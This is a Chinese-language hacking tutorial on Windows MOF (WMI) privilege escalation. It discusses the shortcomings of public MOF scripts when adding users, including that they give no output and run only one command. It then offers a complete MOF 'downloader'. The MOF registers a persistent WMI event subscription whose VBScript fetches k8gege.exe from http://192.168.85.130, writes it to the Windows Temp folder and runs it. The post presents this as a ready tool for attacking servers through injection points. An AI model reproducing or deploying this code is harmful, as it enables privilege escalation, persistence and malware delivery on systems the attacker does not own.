0x001
网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...
目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好
比如有个类似狗之类的拦截添加用户 这样不是直接就被干了
目标环境不确定,也不能轻易给人种马(要不然怎么死都不知道)
提权脚本存在几个问题
1 无回显 这样我们根本不知道是否执行成功(3389根本连不了,你怎么判断用户成功了 靠运气靠猜吗?)
2 不支持多语句 即使有回显 想要获取目标更多信息,难道要上传十几个mof脚本过去吗?
0x002 解决mof执行命令无回显的问题
实验发现在mof里用js或vbs来执行命令 都没法echo
比如执行net user > c:\\xx.txt 就是不成功(直接在js或vbs里所在doc命令都是正常的)
执行命令无法回显咋办呢? 所以只能通过脚本wirtefile了..
0x003 解决mof提权无法多命令的问题
和上面一样把原来的js改成vbs...就可以执行多语句了 不过echo同样没法执行
需要回显 就要操作fso来输出执行命令后的结果... 比较简单大家自己实现
0x004 为什么要用下载者?
因为GET的注入点长度有限制...如果我们需要传比较大的文件过去...
是没办法的...至于post内容的长度 也是由管理员配置决定的...
如果人家的网站不需要上传什么大文件 配置允许长度几百 你搞个蛋啊
0x005 mof提权下载者
下载者:顾名思义就是把xx下载过去并运行(科普下:发现很多人玩黑N年还不明白)
实现原理:1 先把xx下载过去 2 运行xx
下载的方法N多种...通过http下载 ftp下载等网络协议
文中使用 http方式 (抛砖引玉) 大家一定要学会举一反三
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "VBScript";
ScriptText
="Set Post = CreateObject(\"Msxml2.XMLHTTP\")\nSet Shell =
CreateObject(\"Wscript.Shell\")\nPost.Open
\"GET\",\"http://192.168.85.130/k8gege.exe\",0\nPost.Send()\nSet aGet =
CreateObject(\"ADODB.Stream\")\naGet.Mode = 3\naGet.Type =
1\naGet.Open()\naGet.Write(Post.responseBody)\naGet.SaveToFile
\"C:\\WINDOWS\\Temp\\k8gege.exe\",2\nShell.Run
(\"C:\\WINDOWS\\Temp\\k8gege.exe\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};